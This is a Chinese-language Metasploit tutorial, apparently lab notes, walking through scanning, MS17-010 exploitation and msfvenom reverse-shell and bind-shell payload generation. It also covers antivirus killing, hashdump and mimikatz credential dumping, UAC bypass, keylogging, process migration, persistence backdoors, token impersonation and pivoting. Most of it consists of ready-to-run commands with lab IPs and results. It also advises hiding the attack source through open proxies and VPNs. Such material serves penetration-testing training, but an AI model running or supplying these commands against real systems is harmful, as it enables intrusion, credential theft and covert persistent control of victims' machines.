use auxiliary/scanner/vnc/vnc_login
vnc无密码访问
use auxiliary/scanner/vnc/vnc_none_auth
rdp
RDP远程桌面漏洞
use auxiliary/scanner/rdp/ms12_020_check
-检查不会造成dos攻击
设备后门
use auxiliary/scanner/ssh/juniper_backdoor
use auxiliary/scanner/ssh/fortine_backdoor
HTTP弱点扫描
过期证书
use auxiliary/scanner/http/cert
显示目录及文件
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/files_dir
WEBDAV Unicode编码身份验证绕过
IIS的WebDAV功能在解析URI并发送回数据时没有正确地处理Unicode令牌环,远程攻击者可以通
过提交恶意HTTPGET请求绕过受口令保护的文件夹的认证,或在受口令保护的WebDAV目录中列
出、上传或下载文件
use auxiliary/scanner/http/dir_webdav_unicode_bypass
tomcat管理登录页面
use auxiliary/scanner/http/tomcat_mgr_login
基于http方法的身份验证绕过
use auxiliary/scanner/http/tomcat_auth_bypass
wordpress密码爆破
use auxiliary/scanner/http/wordpress_login_enum
set uri /wordpress/wp-login.php
wmap web应用扫描器
https://www.cnblogs.com/kyx599/p/12936169.html
telnet爆破
use auxiliary/scanner/telnet/telnet_login
端⼝扫描
ACK 通过ACK扫描的方式对防火墙上未屏蔽的端口进行探测
ACK防⽕墙扫描 auxiliary/scanner/portscan/ack
ftpbounce 通过FTPbounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器 软件能够很好的
防范FTPbounce攻击,但在一些旧的Solaris及FreeBSD系统的FTP服务中 此类工具方法仍能够被利
用
FTP跳端⼝扫描 auxiliary/scanner/portscan/ftpbounce
syn 使用发送TCP SYN标志的方式探测开放的端口
SYN端⼝扫描 auxiliary/scanner/portscan/syn
tcp 通过一次完整的TCP连接来判断端口是否开放,这种扫描方式最准确, 但扫描速度较慢
TCP端⼝扫描 auxiliary/scanner/portscan/tcp
xmas 一种更为隐秘的扫描方式,通过发送FIN,PSH,和URG标志,能够躲避 一些高级的TCP标记检
测器的过滤
TCP-XMas端⼝扫描 auxiliary/scanner/portscan/xmas
TCP端⼝扫描:auxiliary/scanner/portscan/tcp
扫描结束 192.168.1.14的开放端口
ACK防⽕墙扫描:auxiliary/scanner/portscan/ack
⽤ACK扫描会分段去发送数据包扫描,才能够绕过⼀些防火墙设备,⽽不是 Windows防火墙!
Windows⾃带的防火墙是阻断⼀切进入的连接! 因为虚拟机Windwos 7是吧防火墙关闭了的,如果打开
那么防火墙是会阻断 连接的! 经过测试,Windows防火墙开启,使⽤ACK是扫描不出来的!
FTP跳端⼝扫描 auxiliary/scanner/portscan/ftpbounce
这个因为环境情况 就没有演示
详细可参考:https://blog.csdn.net/asdushf/article/details/111691756
SYN端⼝扫描 auxiliary/scanner/portscan/syn
TCP 端口扫描是通过SYN数据包进行的,用于扫描目标机器的端口上是否存在程序监听,通常意义上,
普通个人机器上的某个端口如果有程序监听的话,那么它一般是 系统漏洞。由于TCP是一个有连接的可
靠协议,所以要使用 三次握手来建立连接, 三次握手的 报文分别是(SYN)、(ACK SYN)和(ACK)。进行 端
口扫描时,首先向对方主机的某一端口发送(SYN) 报文,如果对方这一端口上有程序在监听(或者说存
在漏洞),则回复(SYN ACK) 报文,否则回复(RST)报文。据此就可以判断对方端口上是否有程序在监听
了,或者是否存在漏洞了。
参考:https://blog.51cto.com/ksyiwen/1336392
TCP-XMas端⼝扫描 auxiliary/scanner/portscan/xmas
常见的网络服务扫描
1.Telnet服务扫描
代码清单3-19中的扫描结果显示,IP地址为10.10.10.254的主机(即网关服务器)开放了Telnet服务,
通过返回的服务旗标“Ubuntu 8.041x0ametasploitable login : ”,可以进一步确认出这台主机的操作系
统版本为Ubuntu 8.04,而主机名为metasploitable。
2.SSH服务扫描
如代码清单3-20所示,使用Metasploit中的ssh_version辅助模块,很快在网络中定位了两台开放SSH服
务的主机,分别是10.10.10.129(网站服务器)和10.10.10.254(网关服务器),并且显示了SSH服务软件
及具体版本号。
3.Oracle数据库服务查点
4.开放代理探测与利用
在一些特殊情形的渗透测试工作中,为避免被对方的入侵检测系统跟踪,你很有可能需要隐藏自己的身
份。隐藏网络身份的技术很多,比如使用代理服务器(Proxy)、VPN等,不过最简单和最常见的还是使用
代理服务器。
Metasploit提供了open_proxy模块,能够让你更加方便地获取免费的HTTP代理服务器地址。获取免费
开放代理之后,就可以在浏览器或者一些支持配置代理的渗透软件中配置代理,这可以在进行渗透测试
时隐藏你的真实I地址。其使用方法如代码清单3-22所示。
当然,也可以从互联网上搜索一些开放的HTTP、Socks等代理服务器,然后通过代理猎手等专用工具进
行验证,并在进行隐蔽性渗透测试的场景中进行使用。比开放代理更保险的隐藏攻击源方法是利用开放
的或者自主架设的VPN服务,可以从公开渠道搜集到一些免费的VPN服务,也可以自己在已控制的主机
上架设OpenVPN服务。使用这些VPN可以采用加密方式转发路由你的渗透测试数据包,而无需担心你的
攻击发起源被跟踪到。
版本扫描
探测对方操作系统信息:use auxiliary/scanner/smb/smb_version
可以看到,操作系统是Windows 7,主机名是:FUZHONG,在GOD域内
扫描永恒之蓝ms17010 :use auxiliary/scanner/smb/smb_ms17_010
Host is likely VULNERABLE to MS17-010! 说明是存在永恒之蓝
利用:
可以先用search 搜索一下17010的漏洞利用模块
这里就随便选一个来利用了
就设置了ip 其他参数默认 然后攻击
尴尬 这里好像失败了 原来是360没关
之后重新测试
小tips:这里是set rhosts 是可以设置多个的 可以同时测试多个目标
五、msf之Exploits模块常用演示
1、显示所有渗透攻击模块
show exploits
2、查找关于smb的攻击模块
search name:smb type:exploit
3、查找路径含有smb的模块
search path:smb
用ms17010演示:exploit/windows/smb/ms17_010_psexec
可以看到弹回一个会话
其他 Exploit模块的操作也是如此 就不演示了
六、msf之Payloads模块常用演示
Payloads分类
1、singles:独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。
2、stagers:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通
常该种载荷体积都非常小,可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和
reverse型,bind型是需要攻击机主动连接目标端口的;而reverse型是目标机会反连接攻击机,需要提
前设定好连接攻击机的ip地址和端口号。
3、stages:传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages
传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者
meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
显示所有可用payloads
Metasploit 生成的 Payload分为正向和反向
最常见的payload
windows/meterpreter/bind_tcp #正向连接
windows/meterpreter/reverse_tcp #反向连接,常用
windows/meterpreter/reverse_http #通过监听80端口反向连接
windows/meterpreter/reverse_https #通过监听443端口反向连接
反向payload
反向就是说目标执⾏了我们⽣成的Payload后,会主动连接我们的攻击服务 器MSF
生成木马命令: msfvenom
msfvenom详细语法
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
生成木马语句
二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat
shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset
PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了
LHOST 填写的是攻击机器,也就是Kali的IP LPORT 填写的是端口,一般填写的是高端口,如:
6666、4444、8977等等,但是 最好填写一下比较常用的端口,如:80、443、8080等等
生成shell.exe: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10
LPORT=5555 -f exe > shell2.exe
此时在当前⽬录下有⼀个shell2.exe! 因为在前面说了,这是反向连接,那么就需要先在攻击机器上监
听,然 后再然后⾁鸡运⾏我们的文件才可以连接!
监听模块: use exploit/multi/handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp //这个就是和上面msfvenom使用 的payload是一样
的
set LHOST 192.168.1.10
set LPORT 5555
run
接着我们放到Windows7下去执⾏这个⼆进制文件:
最后,来看看Metasploit这边的监听情况:
可以看到,Windows7运⾏了刚刚msfvenom⽣成的shell.exe后, Metasploit这边反弹了⼀个
meterpreter会话过来!
这个就是这么⼀个Windows的反向cmdshell 因为刚刚我们所反弹回来了⼀个shell,假设我们要重新监
听其他的 payload,那么就可以使⽤background来返回msfconsole控制台窗⼝:
如果想查看当前连接的session,就可以使⽤sessions查看在后台有哪些连接 了MSF:
如果想进入刚才那个meterperter,那么就sessions后⾯跟他的⼀个id:
这样就进入了刚刚那个cmdshell⾥!
正向payload
使⽤场景
场景还是得具体看,⽐如⽬标机器不给其他除特定端⼝外的端⼝出站,那就 只能能正向;还有⽐如
有⼀种情 况,⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通,因 为其他机器
防⽕墙都开着,为避免 在有防⽕墙监控的情况下关闭防⽕墙⽽被发现,也只能⽤正向的⻢,然后通
过开着防⽕墙的机器来进⾏端⼝的 转发达到穿透的⽬的
msfvenom⽣成正向Paylaod
msfvenom -p windows/meterpreter/bind_tcp LPORT= -f exe >/root/bind_xx.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f exe >/root/bind_xx.exe
msfvenom -p windows/meterpreter/bind_tcp LPORT= -f dll >/root/bind_xx.dll
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT= -f dll >/root/bind_xx.dll
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT= -f elf >/root/bind_xx.elf
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT= -f elf >/root/bind_xx.elf
因为我win7虚拟机是x64位系统,我就⽤这条命令:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe
在虚拟机上运⾏:bind.exe:
可以看到,已经开放了5555端⼝!
接下来打开msfconsole对虚拟机进⾏连接(前提是对⽅防火墙是关闭了的):
其中LPORT需要设置为刚刚我们⽣成的Payload⼀样的端⼝,也就是5555: 还要设置⼀个RHOST,也就
是⾁鸡Win7的IP:192.168.1.14
最后直接运⾏exoloit
这个时候就反弹回来了⼀个Meterpreter会话回来!
同时,⾁鸡win7那边就没有对5555端⼝进⾏连接了!
因为⽤了5555端⼝启⽤监听后,只会接收⼀次数据,⽆论成功或者失败,它 都不会再监听了! 也就是
说,如果连接失败了,那么就再运⾏然后再连接⼀次!
这是Metasploit⽣成正向的过程!
尽量不要⽣成exe
在真实环境中,如果使⽤msfvenom⽣成了⼀个正向Paylaod格式是exe,那 么在进程中就会暴露!
⼀般⽤就⽤dll!
要运⾏dll必须使⽤rundll32.exe来start:
rundll32.exe文件在C:\Windows\System32\rundll32.exe:
使用方法就是 rundll32.exe xxx.dll,Start
生成一个dll
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f dll >bind.dll
⽽Meterpreter这边也是反弹了⼀个shell回来
这就是正向连接
七、msf之Post模块常用演示
后渗透操作
在获取到一枚Meterpreter的shell之后,就可以进行下一步的渗透,
那msf中的post模块就是⼀个后渗透模块,⾥⾯包含各种后渗透中有可能⽤到的功能,最多的就 是信息
收集。
search post
这边就模拟⼀下拿到cmdshell后的操作:
可以看到,我这边sessions是有⼀个meterpreter会话:
在后渗透的时候,我们可以使⽤post模块辅助我们
1、获取目标分区情况
run post/windows/gather/forensics/enum_drives
2、检测是否是虚拟主机
run post/windows/gather/checkvm
3、获取当前安装的应用程序
run post/windows/gather/enum_applications
4、获取用户登录信息
run post/windows/gather/enum_logged_on_users
5、收集系统环境信息
run post/multi/gather/env
6、查看开启的服务
run post/windows/gather/enum_services
7、查看目标主机最近的操作
run post/windows/gather/dumplinks
8、其他操作
删除用户
run post/wndows/manage/delete_user username=aiyou
添加账户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou
关闭杀软
windows/manage/killav
9、查看目标机安装了哪些应用、补丁
run post/windows/gather/enum_applications
10、对目标进行漏洞扫描(提权操作)
run post/multi/recon/local_exploit_suggester
执行之后给了我们很多exploit
我们就随便挑几个
exploit/windows/local/ms16_014_wmi_recv_notif
这个提权成功
hashdump
hashdump是查询密码hash: 因为有时候你得搜集密码来进⾏爆破别的⽤户
信息收集:
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
八、msf之windows提权_UAC绕过
什么是UAC
用户帐户控制(简称UAC)是微软公司在其Windows Vista,及更新版本操作系统中采用 的一种控制机
制。通过 本文你将了解它是如何保护你免受恶意软件侵害的,以及忽略UAC 提示将可能给你系统带来的
麻烦。
原理
界面操作是:通过询问用户是否授权给应用程序,使用硬盘驱动器和系统文件的权力。以达到阻止恶意
程序(“恶意软件”)损坏系统的效果。
内部逻辑是:
在触发 UAC 时,操作系统会创建一个consent.exe进程,用来确定是否创建具有管理员权限的进程(通
过白名单和用户选择判断),然后creat process。请求进程将要请求的进程cmdline和进程路径,通过
LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将
结果传递给consent.exe进程,该进程验证被请求的进程签名,以及,发起者的权限,是否符合要求,然
后决定是否弹出UAC框,让用户确认。这个UAC框会创建新的安全桌面,遮挡之前的界面。同时这个
UAC框进程是SYSTEM账户的进程,其他标准用户进程无法与其通信交互。用户确认之后,会调用
CreateProcessAsUser函数,以管理员权限启动请求的进程。
所以,病毒木马想要实现高权限操作,就不得不绕过UAC弹窗,在没有通知用户情况下, 悄悄地将普通权
限,提升为管理员权限启动进程,从而使程序得到高权限的操作。
UAC实例
可以看到,我sessions有4个,我先进入到⼀个不是系统权限的session:
hashdunm失败,这就是权限问题,我们没有⽤管理员权限运⾏!
我们来到虚拟机这⾥,右键以管理员权限运⾏就会弹出这个:
⽽这个就是UAC! ⽽如果我们⽤了管理员权限运⾏,这个时候就可以hashdump了:
有的你运⾏⼀个软件它会弹出⼀个框框问你是否要运⾏:
如果你点击确认/是的话,那么你就过了UAC的权限!这个时候就可以进⾏⼀个真正的管理员权限 的操
作!
UAC是如何运作的
⼀旦程序执⾏涉及系统更改/特定任务就会触发UAC。除非尝试执⾏他们的进程以管理员权限运 行,否
则这些操作都将被阻⽌。
没有管理员权限将无法执⾏以下操作: 注册表修改(如果注册表项位于如HKEY_LOCAL_MACHINE下
(因为它影响多个用户),它 将是只读的) 加载设备驱动程序 DLL注入 修改系统时间(clock) 修改⽤户
帐户控制设置(通过注册表可以启用/禁用它,但你需要正确的权限才能执行该操 作) 修改受保护的目
录(例如Windows文件夹,Program Files) 计划任务(例如,以管理员权限自启动)
Bypass-UAC
有的时候我们没有办法以管理员⾝份来运⾏我们的程序,只能以普通⽤户的权限来运⾏,这个时 候怎么
来绕过UAC来⽤管理员权限运⾏呢?
绕过 UAC的方法:
白名单提权机制;
DLL 劫持;
Windows 自身漏洞提权;
远程注入;
COM 接口技术。
计划任务
路径欺骗。
其余的如通过计划任务、路径欺骗等方式不算入绕过,因为经过了用户确认。
实现Bypass UAC的方法主要有两种方法:一种是利用白名单提权机制,另一种是利用COM组件接口技
术。
这里就演示msf里面的bypassuac模块 (现在这些应该是作用不大了)
其他挨到参考:https://blog.csdn.net/panjunnn/article/details/106964291
https://www.cnblogs.com/Yang34/p/12632599.html
search bypassuac
我是先把meterpreter会话放到后台,然后使⽤这个模块:
exploit/windows/local/bypassuac
这边已经运⾏成功了!但是我的虚拟机是x64位的,⽽这个bypassuac是x86,所以不能成功执⾏
hashdump:
但是可以执⾏创建或者删除⽤户:
如果⽬标虚拟机是x86的话,就可以执⾏hashdump以及net user创建或者删除⽤户的
九、msf之系统明文密码和HASH
这边是绕过 UAC 得到了一个 meterpreter :
Dump 用户的明文密码 加载 mimikatz : load mimikatz mimikatz : 是一个抓取/读取系统密码的工具
新版msf 抓取密码
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug
meterpreter > kiwi_cmd sekurlsa::logonPasswords
十、msf之进程迁移
正常使用 exe 上线的情况下,会在任务管理器或者使用 tasklist 命令就可以看到我们 的进程,那么就很
容易被发现 所以我们就用把我们的进程迁移到其他原有的进程上面,相当于寄生在别的正常的进程上 面
手动迁移
列出所有的进程 ps
查看当前进程 : getpid
以进程名迁移: 迁移到:explorer.exe
迁移进程成功,我们 ps 查看进程 这个时候就会发现原有的 :C:\Users\admin\Desktop\8080.exe 这个
进程就没有了
以 PID 迁移:
假如要迁移到这个 spoolsv.exe ,他的 PID 是 1128 migrate -P 1128
这边的话是迁移失败,原因是权限的问题,因为我运行我的木马exe是没有过UAC的,所以 权限比较
小; 而 spoolsv.exe 这个进程是一个系统的权限进程,所以导致迁移进程失败 总结:高权限可以往低权
限下迁移进程,低权限不能往高权限上进行迁移!
我这边重新以 UAC 运行木马
再次迁移进程到 : spoolsv.exe PID 1128
migrate -P 1128
这个时候就迁移进程成功了
meterpreter > getpid
Current pid: 1128
上线自动迁移
迁移到指定进程 set autorunscript migrate -n explorer.exe
生成一个进程,并迁移到它里面 set AytoRunScript migrate -f
这边 run 之前,需要设置一下上线后自动迁移到那个进程
set autorunscript migrate -n explorer.exe
然后 exploit 运行到后台 : exploit -j -z
成功迁移进程!
自动迁移随机进程 set AytoRunScript migrate -f
迁移成功!
十一、msf之键盘记录、屏幕截图、文件操作、load扩展等
键盘记录
先是获取到了一个Meterpreter,他有这些功能
keyscan_start开启键盘监听后,再用keyscan_dump进行记录的导出,如果不想监听了才
keyscan_stop。而不是先keyscan_stop再keyscan_dump
keyscan_start 启动键盘记录监听
目标机器输入东西的话,就可以获取到键盘记录 keyscan_dump
成功获取到键盘记录!
< Left Windows >< CR > 是回车键
keyboard_send 输入东西到目标机器上
假设目标机器上有鼠标指针,那么说明可以输入内容,那我们就可以使用 keyboard_send 来输入东西到
目标主机上
目标目前是空的:
这个时候,目标的记事本里就多出了一些内容,就是我们刚刚输入的 hacker_hhhhh
参考:https://www.fujieace.com/metasploit/keylogging.html
https://blog.csdn.net/nzjdsds/article/details/102767480
屏幕截图
screenshot 截屏当前目标桌面情况
文件操作
操作文件系统
1.文件的基本操作
ls:列出当前路径下的所有文件和文件夹。
pwd 或 getwd:查看当前路径。
search:搜索文件,使用search -h查看帮助。
cat:查看文件内容,比如cat test.txt。
edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。
rm:删除文件。
cd:切换路径。
mkdir:创建文件夹。
rmdir:删除文件夹。
getlwd 或 lpwd:查看自己系统的当前路径。
lcd:切换自己当前系统的目录。
lls:显示自己当前系统的所有文件和文件夹。
getwd 查看目标当前目录
2.文件的上传和下载
(1) upload
格式:upload本地文件路径目标文件路径
(2)download
格式:download 目标文件路径 本地文件路径
load扩展
load 可以加载这些:load -l
其实还可以加载 python 等等
load python 加载 python
加载扩展后,我们可以使用基本的Python函数,例如print。这可以通过使用 python_execute命令和标
准Python语法来实现。
还可以保存到变量,并使用-r开关打印其内容。
运行 python 文件 : python_import -f /root/liuwx.py
这个好处是,无需对方系统有 python 环境,就可以运行python脚本~ 当然,也可以上传很多扩展,比
如 powershell 等等
系统其它操作
1.关闭防病毒软件
run killav
run post/windows/manage/killav
2.操作远程桌面
run post/windows/manage/enable_rdp开启远程桌面
run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用
户(同时也会将该用户添加到管理员组)
3.截屏
screenshot
4.键盘记录
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
5.执行程序
execute -h 查看使用方法
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
例:execute -f c:/temp/hello.exe
端口转发和内网代理
1.portfwd
portfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的
参数。
常用参数:
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口
上面命令执行之后,会将10.1.1.3的3389端口转发到本地的2222端口。
2.pivot
pivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。
(1)首先需要在msf的操作界面下添加一个路由表。
添加命令:route add 内网ip 子网掩码 session的id
打印命令:route print
路由添加成功之后就可以在msf里访问10.1.1.0/24这个网段。
(2)建立socks代理。
如果其它程序需要访问这个内网环境,就可以建立socks代理。
msf提供了3个模块用来做socks代理。
auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以auxiliary/server/socks4a为例,查看需要设置的参数。
一共两个参数:
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,
在windows可以配置Proxifier进行使用。
后门
Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办
法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。
1.metsvc
(1) 使用run metsvc -h查看帮助,一共有三个参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-h:查看帮助
-r:删除后门
(2) 安装后门
命令:run metsvc
命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、
metsvc-server.exe、metsvc.exe)。
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337
端口。
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定
端口31337。
2.persistence
(1) 使用run persistence -h查看参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-L:自启动脚本的路径,默认为%TEMP%
-P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
-S:作为一个服务在系统启动时运行(需要SYSTEM权限)
-T:要使用的备用可执行模板
-U:用户登陆时运行
-X:系统启动时运行
-i:后门每隔多少秒尝试连接服务端
-p:服务端监听的端口
-r:服务端ip
(2) 生成后门
命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好
服务端监听ip和端口。
参考:https://www.cnblogs.com/diligenceday/p/11028462.html
十二、msf之内网渗透之添加路由
获取网段
run get_local_subnets
route list
添加路由表
为什么要添加路由表? 因为添加了路由表,就可以对目标内网进行一些深入渗透
添加路由: run autoroute
添加路由表 route add 192.168.0.0 255.255.255.0 1
还有一种添加方式是: route add 192.168.0.0/24 1
添加路由表 run autoroute -h
十三、msf之连接数据库_postgresql
安装postgresql
为什么要使用 postgresql ? 首先, 连接数据库之后搜索 msf 中模块的速度可以大大提高; 其次, 连
接数据库之后,使用 msf 的痕迹会被保存下来,方便之后导出编写 渗透测试报告。 所以, 连接psql数
据库不是必须的操作,但是为了提高渗透测试的效率,方便 日后的写报告,还是应该连接数据库,创建
缓存。
安装 postgresql : apt-get install postgresql -y
配置postgresql
修改 posgres 系统用户密码
echo "postgres:hacker123456!" | chpasswd
修改 postgresql 数据库中默认用户 postgres的密码
su postgres 进入 postgres
psql 连接 psql
\password postgres 修改密码 hacker123456+
\q 退出
exit 返回
快捷连接
查看当前数据库连接状态 : db_status
使用 msfconsole 的资源加载功能。
1. 把 db_connect postgres:[email protected]/msfdb 保存为文件件 connection.rc
2. msfconsole -r connection.rc hacker123456+ 是密码
已经连接到数据库服务里了
爆破 postgresql 密码然后保存到数据库
使用这个模块 : auxiliary/scanner/postgres/postgres_login
use auxiliary/scanner/postgres/postgres_login
set rhosts 127.0.0.1 set username postgres
set password hacker123456+ 这里密码可以加载一个 txt 文件来爆破
设置完数据库名,账号,密码后直接 run
爆破成功后,数据库就会有记录了:creds
十四、msf之内网渗透之smb密码爆破+远程命令执行
爆破SMB
SMB 对应的端口是 445
使用的是这个模块 : auxiliary/scanner/portscan/tcp
爆破 SMB ,爆破这个 IP 192.168.136.130:445
use auxiliary/scanner/smb/smb_login
一般来说 就设置 rhost、用户名、密码,用户名和密码可以在当前工作目录下生成一个 字典文件,然后
用 file:/root/dic.txt 指定一个字典文件
远程命令执行
有了 IP 192.168.1.14 , 账号 admin , 密码 123456 之后,就可以使用 msf 的模块来 造成远程命令执
行:
使用这个模块 auxiliary/admin/smb/ms17_010_command
十五、msf之内网渗透之反向Socks 代理
Socks5代理
采用 socks 协议的代理服务器就是 socks 服务器,是一种通用的代理服务器,Socks 是个电路级的底层
网关。 Socks 代理与应用层、HTTP层代理不同,Socks 代理只是简单的传递数据包,而不必关心是何种
应用协议(比如FTP、HTTP和NNTP请求)。 所以,Socks代理比其他应用层代理要快的多。 Socks 不
支持 ICMP 、Ping 和 ARP 协议
应用场景
目标内网有多台机器,网速较好,想要便捷访问目标任意服务
反向Socks代理
Socks 代理 MSF 有这些模块
我们先使用 1 auxiliary/server/socks4a
这是需要设置的一些参数:
添加路由: run autoroute -s 192.168.136.130/24 192.168.136.130 是目标的 IP
安装配置 proxychains
apt-get install proxychains
配置 proxychains : /etc/proxychains.conf 在末尾,吧端口更改为刚刚设置监听的 1080 端口
这里的ip 端口 要和前面设置的一样
使用 proxychains
proxychains 对 目标机(192.168.136.130) 扫描内网端口 TCP连接扫描
proxychains nmap -Pn -sT -P 80,445,1433,3306,3389, 192.168.136.130
这边扫描出结果,开放了,以上端口,如是开放了 80 端口, 那么就可以直接访问了
十六、msf之设置session永久不掉线
保持监听持续
# 可以在接收到seesion后继续监听端口,保持侦听。
msf exploit(multi/handler) > set ExitOnSession false
防止session超时退出
# 默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此
项修改为0
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
# 默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
参考:https://blog.csdn.net/Dearggae/article/details/106614064
十七、msf之search模块使用
可以使用内置的关键字系统进一步优化您的搜索。命令: help search
要使用描述性名称进行搜索,请使用name关键字。
您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。
使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。
使用author关键字搜索可让您搜索您最喜爱的作者的模块
当然, search 命令还可以在拿到一定权限时,可以在受害者机器内搜索想要的信息
search -h
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d 开始从中搜索的 目录/驱动器。 留空以搜索所有驱动器。 (默认:)
-f 要搜索的文件模式glob。 (例如* secret * .doc?)
-h 帮助横幅。
-r 递归搜索子目录。 (默认:true)
十八、msf之常用命令
基础命令
加载模块 use name
查看网络配置 ifconfig
获取进程列表 ps
查看所有exploit show exploits
查看所有payload show payloads
查看所有auxiliary show auxiliary
展示模块详细信息 info
查找模块 search name
查看当前运行的模块 jobs
重启目标机器 reboot
关闭目标机器 shutdown
获取交互shell shell
当前meterpreter到后台 background
离开msf quit
端口转发
portfwd add -l 6666 -p 3389 -r 192.168.1.2
常用参数: -l:本地监听端口 -r:内网目标的ip -p:内网目标的端口
设置Socks代理
Socks4a代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 1080
run
添加路由
获取网段信息
run get_local_subnets
查看帮助
run autoroute –h
添加到目标环境网络
run autoroute -s 192.168.0.1/24
打印添加的路由
run autoroute –p
删除路由
run autoroute -d -s 192.168.0.1/24
execute执行文件
在目标机中执行文件
execute
创建新进程cmd.exe,-H不可见,-i交互
execute -H -i -f cmd.exe
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
migrate转移进程
获取当前进程PID getpid
获取进程列表 ps
转移进程 migrate PID
杀死进程 kill PID
自动进程迁移 run post/windows/manage/migrate
监听设置自动转移进程 set autorunscript migrate -f
令牌窃取
使用模块 use incognito
查看可用token list_tokens -u
假冒SYSTEM权限 impersonate_token 'NT AUTHORITY\SYSTEM'
